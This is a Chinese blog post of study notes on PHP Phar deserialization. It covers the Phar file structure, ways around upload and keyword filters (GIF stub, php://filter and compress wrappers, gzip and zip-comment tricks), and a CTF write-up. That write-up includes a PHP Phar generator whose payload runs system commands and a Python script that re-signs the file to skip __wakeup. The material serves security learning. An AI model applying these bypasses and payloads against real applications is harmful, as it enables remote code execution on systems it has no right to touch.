• 初学phar反序列化


    以下内容参考大佬博客:PHP Phar反序列化浅学习 - 跳跳糖

    首先了解phar是什么东东

    Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

    默认开启版本 PHP version >= 5.3

    结构:

    1. 1、Stub//Phar文件头
    2. 2、manifest//压缩文件信息
    3. 3、contents//压缩文件内容
    4. 4、signature//签名

    我们直接按照模板生成一个看看就能了解这个结构是什么意思了

    先设置php.ini,phar.readonly = Off,注意要删除“;”分号,我在这疑惑了挺久

    ini_set('phar.readonly',0); ==>是行不通的,不是所有的设置都能通过ini_set设置

    生成模板:

    1. #get_phar.php
    2. class test{
    3. public $name="test";
    4. function __destruct()
    5. {
    6. echo $this->name . " is a web vegetable dog ";
    7. }
    8. }
    9. $a = new test();
    10. $a->name="bthcls";
    11. $bthcls=new phar('bthcls.phar',0);//后缀名必须为phar
    12. $bthcls->startBuffering();//开始缓冲 Phar 写操作
    13. $bthcls->setMetadata($a);//自定义的meta-data存入manifest
    14. $bthcls->setStub("");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
    15. $bthcls->addFromString("test.txt","test");//添加要压缩的文件
    16. $bthcls->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
    17. ?>

    访问get_phar.php,010分析生成的bthcls.phar

    具体如下

    Stub

    Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
    这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

    xxx xxx; __HALT_COMPILER();?>
    

    这行代码的含义,也就是说前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。
    这个其实就类似于图片文件头,比如gif文件没有GIF89A文件头就无法正确的解析图片

    manifest

    a manifest describing the contents,用于存放文件的属性、权限等信息。
    这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

    contents

    the file contents,这里用于存放Phar文件的内容

    signature

    [optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数),位于文件末尾,签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密,签名就是hash校验的意思

    绕过方式

    存在漏洞,就会存在防护,通常针对Phar反序列化也是有防范的。这里简单的总结一下常见的绕过方式。

    更改文件格式

    我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种

    $_FILES["file"]["type"]=="image/gif"
    

    要求文件格式只能为gif,这个时候我们该怎么办呢?
    这个时候我们需要朝花夕拾,重提一下PHP识别Phar文件的方式。PHP通过Stub里的__HALT_COMPILER();来识别这个文件是Phar文件,对于其他是无限制的,这个时候也就意味着我们即使对文件后缀和文件名进行更改,其实质仍然是Phar文件。
    示例代码

    1. class Test {
    2. public $name;
    3. function __construct(){
    4. echo "I am".$this->name.".";
    5. }
    6. }
    7. $obj = new Test();
    8. $obj -> name = "quan9i";
    9. $phar = new Phar('test.phar');
    10. $phar -> startBuffering(); //开始缓冲 Phar 写操作
    11. $phar -> setStub('GIF89a'); //设置stub,添加gif文件头
    12. $phar ->addFromString('test.txt','test'); //要压缩的文件
    13. $phar -> setMetadata($obj); //将自定义meta-data存入manifest
    14. $phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
    15. ?>

    在浏览器上访问此文件生成test.phar文件,用010editor查看
    在这里插入图片描述
    随便找一个分析文件格式的
    在这里插入图片描述
    变成Gif格式,这种上传一般可以绕过大多数上传检测。

    绕过phar关键词检测

    Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下

    1. if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
    2. die();
    3. }

    绕过的话,我们的办法是使用各种协议来进行绕过,具体如下

    1. 1、php://filter/read=convert.base64-encode/resource=phar://test.phar
    2. //即使用filter伪协议来进行绕过
    3. 2、compress.bzip2://phar:///test.phar/test.txt
    4. //使用bzip2协议来进行绕过
    5. 3、compress.zlib://phar:///home/sx/test.phar/test.txt
    6. //使用zlib协议进行绕过
    绕过__HALT_COMPILER检测

    我们在前文初识Phar时就提到过,PHP通过__HALT_COMPILER来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤,示例代码如下

    1. if (preg_match("/HALT_COMPILER/i",$Phar){
    2. die();
    3. }

    这里的话绕过思路有两个
    1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下

    1. $a = serialize($a);
    2. $zip = new ZipArchive();
    3. $res = $zip->open('phar.zip',ZipArchive::CREATE);
    4. $zip->addFromString('flag.txt', 'flag is here');
    5. $zip->setArchiveComment($a);
    6. $zip->close();
    7. ?>

    2、将生成的Phar文件进行gzip压缩,压缩命令如下

    gzip test.phar
    

    效果如下
    在这里插入图片描述
    压缩后同样也可以进行反序列化

    那么在ctf里如何利用他的反序列化?以一道题为例

    [NSSRound#4 SWPU]1zweb

    不想浪费金币,所以不再开环境了。。下面是我复制的源码

    1. #index.php
    2. <html>
    3. <head>
    4. <title>1zWeb</title>
    5. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    6. </head>
    7. <form action="./" method="post" onsubmit="return enter()" class="form">
    8. <h2 class="form__title">查询文件</h2>
    9. <input type="text" placeholder="请输入文件名" name="file" class="input" />
    10. <button class="btn" type="submit" name="submit">查看</button>
    11. </form>
    12. <form action="./upload.php" enctype="multipart/form-data" method="post">
    13. <h2 class="form__title">上传文件</h2>
    14. <input type="file" name="file">
    15. <button type="submit" name="submit">上传</button>
    16. </form>
    17. </html>
    18. <?php
    19. class LoveNss{
    20. public $ljt;
    21. public $dky;
    22. public $cmd;
    23. public function __construct(){
    24. $this->ljt="ljt";
    25. $this->dky="dky";
    26. phpinfo();
    27. }
    28. public function __destruct(){
    29. if($this->ljt==="Misc"&&$this->dky==="Re")
    30. eval($this->cmd);
    31. }
    32. public function __wakeup(){
    33. $this->ljt="Re";
    34. $this->dky="Misc";
    35. }
    36. }
    37. $file=$_POST['file'];
    38. if(isset($_POST['file'])){
    39. echo file_get_contents($file);
    40. }
    41. #upload.php
    42. <html>
    43. <head>
    44. <title>1zWeb</title>
    45. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    46. </head>
    47. </html>
    48. <?php
    49. if ($_FILES["file"]["error"] > 0){
    50. echo "上传异常";
    51. }
    52. else{
    53. $allowedExts = array("gif", "jpeg", "jpg", "png");
    54. $temp = explode(".", $_FILES["file"]["name"]);
    55. $extension = end($temp);
    56. if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
    57. $content=file_get_contents($_FILES["file"]["tmp_name"]);
    58. $pos = strpos($content, "__HALT_COMPILER();");
    59. if(gettype($pos)==="integer"){
    60. echo "ltj一眼就发现了phar";
    61. }else{
    62. if (file_exists("./upload/" . $_FILES["file"]["name"])){
    63. echo $_FILES["file"]["name"] . " 文件已经存在";
    64. }else{
    65. $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
    66. fwrite($myfile, $content);
    67. fclose($myfile);
    68. echo "上传成功 ./upload/".$_FILES["file"]["name"];
    69. }
    70. }
    71. }else{
    72. echo "dky不喜欢这个文件 .".$extension;
    73. }
    74. }
    75. ?>

    两个功能点,一个任意文件读取(file_get_contents),一个文件上传(上传格式为白名单图片,内容不含__HALT_COMPILER();)

    这里的文件读取没有做限制,所以可以直接读取/flag

    实际考察的方法是phar反序列化,绕过内容限制、后缀和__wakeup()

    那么我们第一步先生成phar

    1. class LoveNss{
    2. public $ljt;
    3. public $dky;
    4. public $cmd;
    5. public function __construct(){
    6. $this->ljt="Misc";
    7. $this->dky="Re";
    8. $this->cmd="system('cat /flag');";
    9. }
    10. }
    11. $bthcls = new LoveNss();
    12. $tttang=new phar('bthcls.phar',0);//后缀名必须为phar
    13. $tttang->startBuffering();//开始缓冲 Phar 写操作
    14. $tttang->setMetadata($bthcls);//自定义的meta-data存入manifest
    15. $tttang->setStub("GIF89a");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
    16. $tttang->addFromString("test.txt","test");
    17. $tttang->stopBuffering();*/

    再利用python脚本绕过,注意修改过内容后需重新签名!

    1. import gzip
    2. from hashlib import sha1
    3. with open('E:\\phpstudy_pro\\WWW\\study\\bthcls.phar', 'rb') as file:
    4. f = file.read()
    5. s = f[:-28] # 获取要签名的数据
    6. s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
    7. h = f[-8:] # 获取签名类型以及GBMB标识
    8. newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
    9. #print(newf)
    10. newf = gzip.compress(newf) #对Phar文件进行gzip压缩
    11. with open('E:\\phpstudy_pro\\WWW\\study\\bthcls.png', 'wb') as file:#更改文件后缀
    12. file.write(newf)

    最后上传bthcls.png,读取phar://upload/bthcls.png就结束了

    写博客还是不习惯,以后还是写md吧...

  • 相关阅读:
    Maven多环境下 active: @profileActive@报错问题解决
    二叉搜索树的基础操作
    vue3 集成 tailwindcss
    CLion常用插件及c文件模板配置
    ATF(TF-A) SPMC威胁模型-安全检测与评估
    SpringBoot海景房出租管理系统+代码讲解
    文心一言 VS 讯飞星火 VS chatgpt (90)-- 算法导论8.3 3题
    STM32系列(HAL库)——串口IAP
    如何启动Kotlin协程
    JVM内存模型如何分配的?
  • 原文地址:https://blog.csdn.net/m0_63253040/article/details/133100140